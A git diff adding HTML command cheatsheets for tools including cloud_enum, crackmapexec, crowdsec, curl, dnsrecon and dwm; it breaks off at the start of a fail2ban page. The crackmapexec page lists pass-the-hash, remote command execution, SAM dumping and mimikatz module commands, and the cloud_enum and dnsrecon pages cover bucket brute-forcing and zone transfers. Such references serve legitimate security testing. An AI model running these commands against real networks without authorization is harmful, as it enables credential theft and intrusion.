      • S3 Buckets
      • +
      • Open S3 Buckets
      • +
      • AWS Apps (Elastic Beanstalk)
      • +
      +

      Azure

      +
        +
      • Storage Accounts (Blob, File, Queue, Table)
      • +
      • Azure Websites/Apps
      • +
      • Azure Databases
      • +
      • Azure VMs
      • +
      • Azure Container Registries
      • +
      +

      GCP

      +
        +
      • GCP Buckets
      • +
      • Open GCP Buckets
      • +
      • GCP App Engine apps
      • +
      • Firebase databases
      • +
      • Cloud Functions
      • +
      +
      +

      Common Examples

      +

      Basic Enumeration

      +
      cloud_enum -k companyname
      +

      Enumerate resources for company.

      +

      Multiple Keywords

      +
      cloud_enum -kf keywords.txt
      +

      Use multiple keywords from file.

      +

      With Mutations

      +
      cloud_enum -k companyname -m mutations.txt -b
      +

      Brute force with keyword mutations.

      +

      Quick Scan

      +
      cloud_enum -k companyname -qs
      +

      Fast scan without mutations.

      +

      AWS Only

      +
      cloud_enum -k companyname --disable-azure --disable-gcp
      +

      Check only AWS resources.

      +

      Azure Only

      +
      cloud_enum -k companyname --disable-aws --disable-gcp
      +

      Check only Azure resources.

      +

      Save Output

      +
      cloud_enum -k companyname -l results.txt
      +

      Log results to file.

      +

      JSON Output

      +
      cloud_enum -k companyname -f json -l results.json
      +

      Save as JSON.

      +

      More Threads

      +
      cloud_enum -k companyname -b -t 10
      +

      Faster brute forcing.

      +
      +

      Mutations

      +

      Mutations generate variations of your keyword:

      +
      # Example mutations file
      +-dev
      +-prod
      +-staging
      +-backup
      +-test
      +-internal
      +.dev
      +.prod
      +_backup
      +

      These get appended/prepended to the keyword.

      +
      +

      Installation

      +
      git clone https://github.com/initstring/cloud_enum.git
      +cd cloud_enum
      +pip3 install -r requirements.txt
      +python3 cloud_enum.py -k test
      +
      +

      Tips

      +
        +
      • Use company name, product names, project names as keywords
      • +
      +
        +
      • Check variations: companyname, company-name, companynameinc
      • +
      +
        +
      • Open buckets are high-value findings
      • +
      +
        +
      • Combine with manual checks for access permissions
      • +
      +
        +
      • Use mutations for thorough enumeration
      • +
      +
        +
      • Check for sensitive file exposure in found buckets
      • +
      +
        +
      • Great for OSINT and attack surface mapping
      • +
      +
        +
      • Always get authorization before testing access
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/crackmapexec.html b/cheatsheets/crackmapexec.html new file mode 100644 index 0000000..1091459 --- /dev/null +++ b/cheatsheets/crackmapexec.html @@ -0,0 +1,216 @@ + + + + + + + + + + + crackmapexec Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      crackmapexec Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      CrackMapExec (CME) is a post-exploitation tool for assessing the security of Active Directory environments. Enumerates, exploits, and pivots through Windows networks using various protocols.

      +
      +

      Basic Usage

      +
        +
      • crackmapexec smb 192.168.1.0/24 - Enumerate SMB
      • +
      +
        +
      • crackmapexec smb 192.168.1.0/24 -u user -p pass - Authenticate
      • +
      +
        +
      • crackmapexec smb 192.168.1.0/24 -u user -H hash - Pass-the-hash
      • +
      +
        +
      • crackmapexec smb 192.168.1.0/24 -u user -p pass -M module - Execute module
      • +
      +
      +

      Protocols

      +
        +
      • smb - SMB/CIFS protocol
      • +
      +
        +
      • ssh - SSH protocol
      • +
      +
        +
      • winrm - WinRM protocol
      • +
      +
        +
      • ldap - LDAP protocol
      • +
      +
        +
      • mssql - Microsoft SQL Server
      • +
      +
        +
      • rdp - Remote Desktop Protocol
      • +
      +
        +
      • vnc - VNC protocol
      • +
      +
      +

      Authentication

      +
        +
      • -u user - Username
      • +
      +
        +
      • -p password - Password
      • +
      +
        +
      • -H hash - NTLM hash
      • +
      +
        +
      • -k - Kerberos authentication
      • +
      +
        +
      • -d domain - Domain name
      • +
      +
        +
      • -U user:pass - User:pass format
      • +
      +
        +
      • --local-auth - Local authentication
      • +
      +
      +

      Enumeration

      +
        +
      • --shares - List shares
      • +
      +
        +
      • --sessions - List sessions
      • +
      +
        +
      • --loggedon-users - Logged on users
      • +
      +
        +
      • --disks - List disks
      • +
      +
        +
      • --users - Enumerate users
      • +
      +
        +
      • --groups - Enumerate groups
      • +
      +
        +
      • --computers - Enumerate computers
      • +
      +
        +
      • --pass-pol - Password policy
      • +
      +
      +

      Execution

      +
        +
      • -x command - Execute command
      • +
      +
        +
      • -X command - Execute PowerShell
      • +
      +
        +
      • -M module - Execute module
      • +
      +
        +
      • --exec-method wmiexec - Execution method
      • +
      +
        +
      • --no-output - Suppress output
      • +
      +
      +

      Common Examples

      +

      Enumerate SMB

      +
      crackmapexec smb 192.168.1.0/24
      +

      Scan network for SMB hosts.

      +

      Authenticate

      +
      crackmapexec smb 192.168.1.0/24 -u admin -p Password123
      +

      Test credentials across network.

      +

      Pass-the-Hash

      +
      crackmapexec smb 192.168.1.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee
      +

      Authenticate with NTLM hash.

      +

      List Shares

      +
      crackmapexec smb 192.168.1.0/24 -u user -p pass --shares
      +

      Enumerate SMB shares.

      +

      Execute Command

      +
      crackmapexec smb 192.168.1.10 -u admin -p pass -x "whoami"
      +

      Run command on target.

      +

      PowerShell

      +
      crackmapexec smb 192.168.1.10 -u admin -p pass -X "Get-Process"
      +

      Execute PowerShell command.

      +

      Dump SAM

      +
      crackmapexec smb 192.168.1.10 -u admin -p pass --sam
      +

      Dump SAM database.

      +

      List Modules

      +
      crackmapexec smb --list-modules
      +

      Show available modules.

      +

      Use Module

      +
      crackmapexec smb 192.168.1.10 -u admin -p pass -M mimikatz
      +

      Execute module.

      +
      +

      Tips

      +
        +
      • Use -H for pass-the-hash attacks
      • +
      +
        +
      • Use --shares to discover file shares
      • +
      +
        +
      • Use -x for command execution
      • +
      +
        +
      • Use -X for PowerShell execution
      • +
      +
        +
      • Check --list-modules for available modules
      • +
      +
        +
      • Use -k for Kerberos authentication
      • +
      +
        +
      • Essential for AD security testing
      • +
      +
        +
      • Powerful lateral movement tool
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/crowdsec.html b/cheatsheets/crowdsec.html new file mode 100644 index 0000000..515f775 --- /dev/null +++ b/cheatsheets/crowdsec.html @@ -0,0 +1,235 @@ + + + + + + + + + + + crowdsec Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      crowdsec Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      CrowdSec is a collaborative intrusion prevention system that analyzes behaviors, responds to attacks, and shares threat intelligence. Modern, open-source alternative to fail2ban with community-driven detection rules.

      +
      +

      Basic Usage

      +
        +
      • crowdsec -h - Show help
      • +
      +
        +
      • crowdsec status - Show status
      • +
      +
        +
      • systemctl status crowdsec - Service status
      • +
      +
        +
      • systemctl start crowdsec - Start service
      • +
      +
        +
      • systemctl stop crowdsec - Stop service
      • +
      +
        +
      • systemctl restart crowdsec - Restart service
      • +
      +
      +

      Configuration

      +
        +
      • /etc/crowdsec/config.yaml - Main configuration
      • +
      +
        +
      • /etc/crowdsec/acquis.yaml - Log sources
      • +
      +
        +
      • /etc/crowdsec/parsers/ - Parser configurations
      • +
      +
        +
      • /etc/crowdsec/scenarios/ - Detection scenarios
      • +
      +
        +
      • /etc/crowdsec/collections/ - Collection definitions
      • +
      +
      +

      Management

      +
        +
      • cscli -h - CLI tool help
      • +
      +
        +
      • cscli hub list - List installed collections
      • +
      +
        +
      • cscli hub update - Update collections
      • +
      +
        +
      • cscli hub upgrade - Upgrade collections
      • +
      +
        +
      • cscli collections list - List collections
      • +
      +
        +
      • cscli collections install crowdsecurity/linux - Install collection
      • +
      +
        +
      • cscli parsers list - List parsers
      • +
      +
        +
      • cscli scenarios list - List scenarios
      • +
      +
      +

      Bouncers

      +
        +
      • cscli bouncers list - List bouncers
      • +
      +
        +
      • cscli bouncers add mybouncer - Add bouncer
      • +
      +
        +
      • cscli bouncers delete mybouncer - Delete bouncer
      • +
      +
        +
      • cscli bouncers inspect mybouncer - Inspect bouncer
      • +
      +
      +

      Decisions & Alerts

      +
        +
      • cscli decisions list - List active decisions
      • +
      +
        +
      • cscli decisions list -i 192.168.1.100 - Decisions for IP
      • +
      +
        +
      • cscli alerts list - List alerts
      • +
      +
        +
      • cscli alerts inspect <alert_id> - Inspect alert
      • +
      +
        +
      • cscli decisions delete -i 192.168.1.100 - Delete decision
      • +
      +
        +
      • cscli decisions add -i 192.168.1.100 -t ban - Add decision
      • +
      +
      +

      Metrics & Monitoring

      +
        +
      • cscli metrics - Show metrics
      • +
      +
        +
      • cscli hub list -v - Verbose collection list
      • +
      +
        +
      • cscli version - Show version
      • +
      +
        +
      • cscli capi status - API status
      • +
      +
      +

      Common Examples

      +

      Install Collection

      +
      cscli collections install crowdsecurity/linux
      +

      Install Linux collection.

      +

      Update Collections

      +
      cscli hub update && cscli hub upgrade
      +

      Update and upgrade all collections.

      +

      List Decisions

      +
      cscli decisions list
      +

      Show active bans.

      +

      Check IP

      +
      cscli decisions list -i 192.168.1.100
      +

      Check if IP is banned.

      +

      Add Manual Ban

      +
      cscli decisions add -i 192.168.1.100 -t ban --duration 24h
      +

      Manually ban IP for 24 hours.

      +

      Remove Ban

      +
      cscli decisions delete -i 192.168.1.100
      +

      Remove ban for IP.

      +

      View Alerts

      +
      cscli alerts list
      +

      List recent security alerts.

      +

      Service Status

      +
      systemctl status crowdsec
      +

      Check service status.

      +
      +

      Configuration Files

      +
        +
      • /etc/crowdsec/config.yaml - Main config
      • +
      +
        +
      • /etc/crowdsec/acquis.yaml - Log acquisition
      • +
      +
        +
      • /var/log/crowdsec.log - Main log file
      • +
      +
        +
      • /var/lib/crowdsec/data/ - Database directory
      • +
      +
      +

      Tips

      +
        +
      • Install collections for your services (nginx, ssh, etc.)
      • +
      +
        +
      • Regularly update collections: cscli hub update
      • +
      +
        +
      • Configure acquis.yaml to monitor your logs
      • +
      +
        +
      • Use bouncers to integrate with firewalls
      • +
      +
        +
      • Monitor decisions and alerts regularly
      • +
      +
        +
      • Share intelligence with community (optional)
      • +
      +
        +
      • More modern and flexible than fail2ban
      • +
      +
        +
      • Community-driven detection rules
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/curl.html b/cheatsheets/curl.html new file mode 100644 index 0000000..214f775 --- /dev/null +++ b/cheatsheets/curl.html @@ -0,0 +1,306 @@ + + + + + + + + + + + curl Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      curl Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      curl is a command-line tool for transferring data with URLs. It supports HTTP, HTTPS, FTP, and many other protocols. Essential for API testing, web scraping, and general HTTP operations.

      +
      +

      Basic Usage

      +
        +
      • curl <url> - GET request, output to stdout
      • +
      +
        +
      • curl -o file.html <url> - Save to file
      • +
      +
        +
      • curl -O <url> - Save with remote filename
      • +
      +
      +

      HTTP Methods

      +
        +
      • curl -X GET <url> - GET request (default)
      • +
      +
        +
      • curl -X POST <url> - POST request
      • +
      +
        +
      • curl -X PUT <url> - PUT request
      • +
      +
        +
      • curl -X DELETE <url> - DELETE request
      • +
      +
        +
      • curl -X PATCH <url> - PATCH request
      • +
      +
        +
      • curl -I <url> - HEAD request (headers only)
      • +
      +
      +

      Headers

      +
        +
      • -H "Header: Value" - Add custom header
      • +
      +
        +
      • -H "Content-Type: application/json" - Set content type
      • +
      +
        +
      • -H "Authorization: Bearer token" - Auth header
      • +
      +
        +
      • -A "User-Agent" - Set User-Agent
      • +
      +
        +
      • -e "Referer" - Set Referer header
      • +
      +
      +

      Data/Body

      +
        +
      • -d "data" - Send POST data
      • +
      +
        +
      • -d @file.json - POST data from file
      • +
      +
        +
      • --data-urlencode "param=value" - URL encode data
      • +
      +
        +
      • -F "file=@path/file.txt" - Form upload
      • +
      +
        +
      • -F "field=value" - Form field
      • +
      +
      +

      Output Options

      +
        +
      • -o filename - Output to file
      • +
      +
        +
      • -O - Save with remote filename
      • +
      +
        +
      • -s - Silent mode (no progress)
      • +
      +
        +
      • -S - Show errors in silent mode
      • +
      +
        +
      • -v - Verbose output
      • +
      +
        +
      • -i - Include response headers
      • +
      +
        +
      • -w "%{http_code}" - Write out format
      • +
      +
      +

      Authentication

      +
        +
      • -u user:password - Basic auth
      • +
      +
        +
      • --digest - Digest auth
      • +
      +
        +
      • --ntlm - NTLM auth
      • +
      +
        +
      • --negotiate - Negotiate auth
      • +
      +
        +
      • -E cert.pem - Client certificate
      • +
      +
      +

      Cookies

      +
        +
      • -b "name=value" - Send cookie
      • +
      +
        +
      • -b cookies.txt - Read cookies from file
      • +
      +
        +
      • -c cookies.txt - Save cookies to file
      • +
      +
        +
      • -c - - Print cookies to stdout
      • +
      +
      +

      SSL/TLS

      +
        +
      • -k - Ignore SSL errors
      • +
      +
        +
      • --cacert file - CA certificate
      • +
      +
        +
      • --cert file - Client certificate
      • +
      +
        +
      • --key file - Private key
      • +
      +
        +
      • --tlsv1.2 - Force TLS 1.2
      • +
      +
        +
      • --tlsv1.3 - Force TLS 1.3
      • +
      +
      +

      Proxy

      +
        +
      • -x proxy:port - HTTP proxy
      • +
      +
        +
      • -x socks5://proxy:port - SOCKS5 proxy
      • +
      +
        +
      • --proxy-user user:pass - Proxy auth
      • +
      +
        +
      • --noproxy "localhost" - Bypass proxy
      • +
      +
      +

      Redirects & Timeouts

      +
        +
      • -L - Follow redirects
      • +
      +
        +
      • --max-redirs N - Max redirects
      • +
      +
        +
      • --connect-timeout N - Connection timeout
      • +
      +
        +
      • -m N - Max time for operation
      • +
      +
        +
      • --retry N - Retry count
      • +
      +
      +

      Common Examples

      +

      Simple GET

      +
      curl https://api.example.com/data
      +

      Basic GET request.

      +

      POST JSON

      +
      curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' https://api.example.com/data
      +

      POST JSON data.

      +

      Download File

      +
      curl -O https://example.com/file.zip
      +

      Download and save with original name.

      +

      With Auth

      +
      curl -u admin:password https://api.example.com/admin
      +

      Basic authentication.

      +

      Headers Only

      +
      curl -I https://example.com
      +

      Get response headers only.

      +

      Verbose Debug

      +
      curl -v https://example.com
      +

      See full request/response details.

      +

      Follow Redirects

      +
      curl -L https://example.com/redirect
      +

      Follow HTTP redirects.

      +

      Upload File

      +
      curl -F "file=@/path/to/file.txt" https://example.com/upload
      +

      Upload file via form.

      +

      Status Code Only

      +
      curl -s -o /dev/null -w "%{http_code}" https://example.com
      +

      Get only HTTP status code.

      +

      Through Proxy

      +
      curl -x http://proxy:8080 https://example.com
      +

      Route through HTTP proxy.

      +

      Save Cookies

      +
      curl -c cookies.txt -b cookies.txt https://example.com/login
      +

      Manage session cookies.

      +

      API Token

      +
      curl -H "Authorization: Bearer eyJhbGc..." https://api.example.com/user
      +

      Request with bearer token.

      +
      +

      Write-Out Variables

      +

      Use with -w option:

      +
        +
      • %{http_code} - HTTP status code
      • +
      • %{time_total} - Total time
      • +
      • %{time_connect} - Time to connect
      • +
      • %{size_download} - Downloaded bytes
      • +
      • %{speed_download} - Download speed
      • +
      • %{url_effective} - Final URL
      • +
      • %{redirect_url} - Redirect URL
      • +
      +
      +

      Tips

      +
        +
      • Use -s for scripts (silent mode)
      • +
      +
        +
      • Use -v to debug connection issues
      • +
      +
        +
      • Use -L to handle redirects automatically
      • +
      +
        +
      • Use -k only for testing (insecure)
      • +
      +
        +
      • Combine -sS for silent but show errors
      • +
      +
        +
      • Use @filename to read data from files
      • +
      +
        +
      • Essential for API testing and debugging
      • +
      +
        +
      • Supports many protocols beyond HTTP
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/dfc.html b/cheatsheets/dfc.html new file mode 100644 index 0000000..f679c2a --- /dev/null +++ b/cheatsheets/dfc.html @@ -0,0 +1,141 @@ + + + + + + + + + + + dfc Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      dfc Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      dfc (disk free color) displays filesystem disk space usage with color output. Enhanced version of df with better formatting and visual indicators.

      +
      +

      Basic Usage

      +
        +
      • dfc - Show all filesystems
      • +
      +
        +
      • dfc / - Show specific mount point
      • +
      +
        +
      • dfc -h - Human-readable sizes
      • +
      +
        +
      • dfc -T - Show filesystem types
      • +
      +
      +

      Options

      +
        +
      • -h - Human-readable sizes (KB, MB, GB)
      • +
      +
        +
      • -T - Show filesystem type
      • +
      +
        +
      • -t type - Show only specific filesystem type
      • +
      +
        +
      • -x type - Exclude filesystem type
      • +
      +
        +
      • -a - Show all filesystems including pseudo
      • +
      +
        +
      • -i - Show inode information
      • +
      +
        +
      • -l - Local filesystems only
      • +
      +
        +
      • -n - No color output
      • +
      +
      +

      Common Examples

      +

      Human Readable

      +
      dfc -h
      +

      Show disk usage in readable format.

      +

      With Types

      +
      dfc -T
      +

      Include filesystem types.

      +

      Specific Mount

      +
      dfc -h /
      +

      Check root filesystem.

      +

      Local Only

      +
      dfc -l
      +

      Show only local filesystems.

      +

      Inode Usage

      +
      dfc -i
      +

      Display inode information.

      +
      +

      Tips

      +
        +
      • Use -h for human-readable output
      • +
      +
        +
      • Use -T to see filesystem types
      • +
      +
        +
      • Color coding helps identify usage levels
      • +
      +
        +
      • Use -l to filter out network mounts
      • +
      +
        +
      • Essential for disk space monitoring
      • +
      +
        +
      • More visual than standard df
      • +
      +
        +
      • Great for quick system checks
      • +
      +
        +
      • Use -i to check inode exhaustion
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/dnsrecon.html b/cheatsheets/dnsrecon.html new file mode 100644 index 0000000..15267e4 --- /dev/null +++ b/cheatsheets/dnsrecon.html @@ -0,0 +1,220 @@ + + + + + + + + + + + dnsrecon Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      dnsrecon Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      DNSRecon is a powerful DNS enumeration tool written in Python. It performs various DNS record enumeration, zone transfers, subdomain brute forcing, and more.

      +
      +

      Basic Usage

      +
        +
      • dnsrecon -d <domain> - Standard enumeration
      • +
      +
        +
      • dnsrecon -d <domain> -t std - Standard record enumeration
      • +
      +
      +

      Enumeration Types (-t)

      +
        +
      • std - Standard record enumeration (SOA, NS, A, AAAA, MX, TXT)
      • +
      +
        +
      • rvl - Reverse lookup of IP range
      • +
      +
        +
      • brt - Brute force subdomains and hosts
      • +
      +
        +
      • srv - SRV record enumeration
      • +
      +
        +
      • axfr - Zone transfer
      • +
      +
        +
      • goo - Google search for subdomains
      • +
      +
        +
      • bing - Bing search for subdomains
      • +
      +
        +
      • snoop - DNS cache snooping
      • +
      +
        +
      • tld - TLD expansion
      • +
      +
        +
      • zonewalk - DNSSEC zone walk
      • +
      +
      +

      Target Options

      +
        +
      • -d <domain> - Target domain
      • +
      +
        +
      • -r <range> - IP range for reverse lookup (CIDR or range)
      • +
      +
        +
      • -n <ns> - Name server to use
      • +
      +
        +
      • -D <file> - Wordlist for brute force
      • +
      +
      +

      Output Options

      +
        +
      • -c <file> - CSV output file
      • +
      +
        +
      • -j <file> - JSON output file
      • +
      +
        +
      • -x <file> - XML output file
      • +
      +
        +
      • --db <file> - SQLite database output
      • +
      +
      +

      Performance Options

      +
        +
      • --threads <num> - Number of threads
      • +
      +
        +
      • --lifetime <sec> - Query lifetime (timeout)
      • +
      +
        +
      • --tcp - Use TCP for queries
      • +
      +
      +

      Other Options

      +
        +
      • -a - Perform AXFR with standard enumeration
      • +
      +
        +
      • -s - Perform reverse lookup on IP ranges in SPF records
      • +
      +
        +
      • -g - Perform Google enumeration
      • +
      +
        +
      • -b - Perform Bing enumeration
      • +
      +
        +
      • -k - Perform cache snooping
      • +
      +
        +
      • -w - Perform deep whois lookup
      • +
      +
        +
      • -z - Perform DNSSEC zone walk
      • +
      +
        +
      • -v - Verbose output
      • +
      +
      +

      Common Examples

      +

      Standard Enumeration

      +
      dnsrecon -d example.com
      +

      Get all standard DNS records.

      +

      Zone Transfer

      +
      dnsrecon -d example.com -t axfr
      +

      Attempt zone transfer.

      +

      Subdomain Brute Force

      +
      dnsrecon -d example.com -t brt -D /usr/share/wordlists/subdomains.txt
      +

      Brute force subdomains with wordlist.

      +

      Reverse Lookup

      +
      dnsrecon -r 192.168.1.0/24
      +

      Reverse DNS lookup on IP range.

      +

      SRV Record Enumeration

      +
      dnsrecon -d example.com -t srv
      +

      Enumerate SRV records.

      +

      Full Enumeration

      +
      dnsrecon -d example.com -a -s -g -w
      +

      Standard enum with AXFR, SPF, Google, and Whois.

      +

      DNSSEC Zone Walk

      +
      dnsrecon -d example.com -z
      +

      Enumerate via DNSSEC zone walking.

      +

      Save to JSON

      +
      dnsrecon -d example.com -j output.json
      +

      Save results to JSON file.

      +

      Custom Name Server

      +
      dnsrecon -d example.com -n 8.8.8.8
      +

      Use specific DNS resolver.

      +
      +

      Tips

      +
        +
      • Always try zone transfer (-t axfr) first
      • +
      +
        +
      • Use -a with standard enum to include AXFR attempt
      • +
      +
        +
      • Combine with other tools like amass for better coverage
      • +
      +
        +
      • Save results to JSON for easy parsing
      • +
      +
        +
      • DNSSEC zone walk can reveal records even when AXFR is blocked
      • +
      +
        +
      • Use --threads to speed up brute forcing
      • +
      +
        +
      • Check SRV records for internal services
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/dwm.html b/cheatsheets/dwm.html new file mode 100644 index 0000000..3a91c44 --- /dev/null +++ b/cheatsheets/dwm.html @@ -0,0 +1,257 @@ + + + + + + + + + + + dwm Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      dwm Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      dwm (Dynamic Window Manager) is a minimal, tiling window manager for X11.

      +
      +

      Application Launch

      +
        +
      • Mod+Return - Launch terminal
      • +
      +
        +
      • Mod+Shift+Return - Launch terminal (swap with master)
      • +
      +
        +
      • Mod+P - Launch dmenu (application launcher)
      • +
      +
        +
      • Mod+Shift+P - Launch dmenu (alternative)
      • +
      +
      +

      Window Management

      +
        +
      • Mod+C - Close focused window
      • +
      +
        +
      • Mod+Shift+C - Close window (alternative)
      • +
      +
        +
      • Mod+M - Toggle monocle (fullscreen)
      • +
      +
        +
      • Mod+F - Toggle floating
      • +
      +
        +
      • Mod+T - Toggle tiled layout
      • +
      +
        +
      • Mod+Space - Zoom (swap focused with master)
      • +
      +
        +
      • Mod+Shift+Space - Toggle floating
      • +
      +
      +

      Window Navigation

      +
        +
      • Mod+J - Focus next window
      • +
      +
        +
      • Mod+K - Focus previous window
      • +
      +
        +
      • Mod+Tab - Focus next window
      • +
      +
        +
      • Mod+Shift+Tab - Focus previous window
      • +
      +
        +
      • Mod+H - Focus stack (backward)
      • +
      +
        +
      • Mod+L - Focus stack (forward)
      • +
      +
      +

      Window Resizing

      +
        +
      • Mod+H - Decrease master area size
      • +
      +
        +
      • Mod+L - Increase master area size
      • +
      +
        +
      • Mod+Shift+H - Decrease number of master windows
      • +
      +
        +
      • Mod+Shift+L - Increase number of master windows
      • +
      +
        +
      • Mod+I - Increase number of windows in master area
      • +
      +
        +
      • Mod+D - Decrease number of windows in master area
      • +
      +
      +

      Window Movement

      +
        +
      • Mod+Shift+J - Move window down in stack
      • +
      +
        +
      • Mod+Shift+K - Move window up in stack
      • +
      +
        +
      • Mod+Shift+H - Move window to master area
      • +
      +
        +
      • Mod+Shift+L - Move window to stack area
      • +
      +
      +

      Tags (Workspaces)

      +
        +
      • Mod+1-9 - View tag
      • +
      +
        +
      • Mod+Shift+1-9 - Move window to tag
      • +
      +
        +
      • Mod+Ctrl+1-9 - Toggle tag view
      • +
      +
        +
      • Mod+0 - View all tags
      • +
      +
        +
      • Mod+Shift+0 - Make window appear on all tags
      • +
      +
      +

      Layouts

      +
        +
      • Mod+T - Tiled layout
      • +
      +
        +
      • Mod+Shift+T - Tiled layout (alternative)
      • +
      +
        +
      • Mod+M - Monocle layout (fullscreen)
      • +
      +
        +
      • Mod+F - Floating layout
      • +
      +
        +
      • Mod+Shift+F - Floating layout (alternative)
      • +
      +
      +

      System

      +
        +
      • Mod+Shift+Q - Quit dwm
      • +
      +
        +
      • Mod+B - Toggle status bar
      • +
      +
        +
      • Mod+Shift+B - Toggle status bar (alternative)
      • +
      +
      +

      Configuration

      +

      Config File Location

      +
        +
      • ~/.config/dwm/config.h (source config)
      • +
      +
        +
      • config.def.h in dwm source directory
      • +
      +
        +
      • Must recompile after changes
      • +
      +

      Example Key Bindings

      +

      Customize in config.h:

      +
      static Key keys[] = {
      +    /* modifier                     key        function        argument */
      +    { MODKEY,                       XK_Return, spawn,          {.v = termcmd } },
      +    { MODKEY|ShiftMask,             XK_Return, spawn,          {.v = termcmd } },
      +    { MODKEY,                       XK_p,      spawn,          {.v = dmenucmd } },
      +    { MODKEY,                       XK_j,      focusstack,     {.i = +1 } },
      +    { MODKEY,                       XK_k,      focusstack,     {.i = -1 } },
      +    { MODKEY,                       XK_h,      setmfact,       {.f = -0.05} },
      +    { MODKEY,                       XK_l,      setmfact,       {.f = +0.05} },
      +    { MODKEY,                       XK_space,  zoom,           {0} },
      +    { MODKEY|ShiftMask,             XK_c,      killclient,     {0} },
      +    { MODKEY,                       XK_t,      setlayout,      {.v = &layouts[0]} },
      +    { MODKEY,                       XK_f,      setlayout,      {.v = &layouts[1]} },
      +    { MODKEY,                       XK_m,      setlayout,      {.v = &layouts[2]} },
      +    { MODKEY,                       XK_1,      view,           {.ui = 1 << 0} },
      +    { MODKEY|ShiftMask,             XK_1,      tag,            {.ui = 1 << 0} },
      +};
      +

      Change Modifier Key

      +
      #define MODKEY Mod1Mask  // Alt key
      +// or
      +#define MODKEY Mod4Mask  // Super/Windows key
      +
      +

      Tips

      +
        +
      • MODKEY is Mod1Mask (Alt) by default, often changed to Mod4Mask (Super)
      • +
      +
        +
      • Tags act like workspaces - windows can be on multiple tags
      • +
      +
        +
      • Layouts: tiled, floating, monocle (fullscreen)
      • +
      +
        +
      • Must recompile dwm after config changes
      • +
      +
        +
      • Use patches to extend functionality
      • +
      +
        +
      • Status bar shows tags, layout, window title
      • +
      +
        +
      • Very minimal - everything configured in source code
      • +
      +
        +
      • Use dmenu for application launching
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + \ No newline at end of file diff --git a/cheatsheets/fail2ban.html b/cheatsheets/fail2ban.html new file mode 100644 index 0000000..bca4061 --- /dev/null +++ b/cheatsheets/fail2ban.html @@ -0,0 +1,470 @@ + + + + + + + + + + + fail2ban Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      fail2ban Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

